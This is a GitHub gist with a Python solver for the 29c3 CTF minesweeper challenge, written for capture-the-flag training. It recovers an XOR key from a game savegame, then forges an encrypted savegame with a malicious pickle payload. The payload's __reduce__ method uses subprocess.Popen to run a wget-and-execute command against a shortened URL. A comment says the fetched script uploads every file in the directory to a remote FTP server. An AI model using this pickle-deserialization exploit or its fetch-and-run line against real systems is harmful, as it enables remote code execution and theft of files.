Created
February 10, 2013 06:40
-
-
Save moshekaplan/4748645 to your computer and use it in GitHub Desktop.
Code to solve 29c3ctf's minesweeper challenge.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
Steps: | |
1) Save the game before anything happens | |
2) Solve the game to get the list of mines, as y,x coordinates | |
3) Reconstruct the savegame | |
4) XOR the decoded savegame and the reconstructed save game to get the key | |
5) Build an exploit to steal the entire key. | |
6) Build an exploit to grab the flag | |
""" | |
import base64 | |
import pickle | |
import hashlib | |
from minesweeper import Field as F | |
# Step 1: Savegame: | |
#Note: This must be modified per game | |
savegame = "4R7S9j+y2SaWg6ec+fYI8NwxLnOfe6/nbKBbFKk59x4Y0B6maMh6D7kiJZAQEk8w8CC46/KARp/cGEMSzYYMBKt4sz4v1x2/jmLxwFMwqB7I9KE5xQH1I5+dd2lMk+YnuR+NjYQDnqKOVcSVYRGl0EgSybKSqePFXBZo2Unp7ooJx8JveqsQ1mpJiZll9ZhM1KRavCyurptcH9nFCymTdOGlsFT3CYxKcGvPDuyUGyRQ3xnE1nNAjs+z77RDkeqyRQyu59I3neaOdsjmhNuAoLizKZiXm0osDiUrL3l3JoWzKyeh2mECmyXFNadbPshOXZJSQ1ZwGaqSrg==" | |
# Step 2: Mines! | |
#Note: This must be modified per game | |
mines = [(0, 3), (1, 10), (2, 13), (3, 5), (4, 4), (4, 12), (5, 13), (7, 11), (8, 8), (9, 4), (9, 12), (9, 13), (10, 10), (10, 11), (10, 12), (11, 2), (13, 6), (13, 15), (14, 0), (15, 5)] | |
# Step 3: Build a fake savegame: | |
field = F(16,16,20) | |
# Replace the mines with our own | |
field.mines = sorted(mines) | |
SECRET = "4n71cH3aT" | |
plaintext = SECRET + hashlib.sha1( field.save() ).digest() + field.save() | |
# Step 4: Obtain the key: | |
ciphertext = base64.b64decode(savegame) | |
def big_xor(src, key): | |
if len(src) != len(key): | |
raise Exception("Not equal! %d and %d" % (len(src), len(cipher) ) ) | |
result = "" | |
for i, byte in enumerate(src): | |
result += chr(ord(byte) ^ ord(key[i % 4096])) | |
return result | |
key = big_xor(ciphertext, plaintext) | |
# Step 5: Build exploit | |
# Downloads a python script with wget, which then uploads all files in the dir to the remote FTP server | |
class Payload(dict): | |
def __reduce__(self): | |
import subprocess | |
return subprocess.Popen, ('wget http://bit.ly/VGyVgY && python VGyVgY',0, None, None, None, None, None, False, True) | |
payload = pickle.dumps(Payload(), 1) | |
exploit = SECRET + hashlib.sha1(payload).digest() + payload | |
# Now encode it | |
if len(exploit) > len(key) and len(key) < 4096: | |
raise Exception("Not enough key bytes! %d %d" % (len(exploit), len(key)) ) | |
encrypted = "" | |
for i, byte in enumerate(exploit): | |
encrypted += chr(ord(byte) ^ ord(key[i % 4096])) | |
encoded = base64.standard_b64encode(encrypted) | |
# Step 6: Load it! | |
print encoded |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment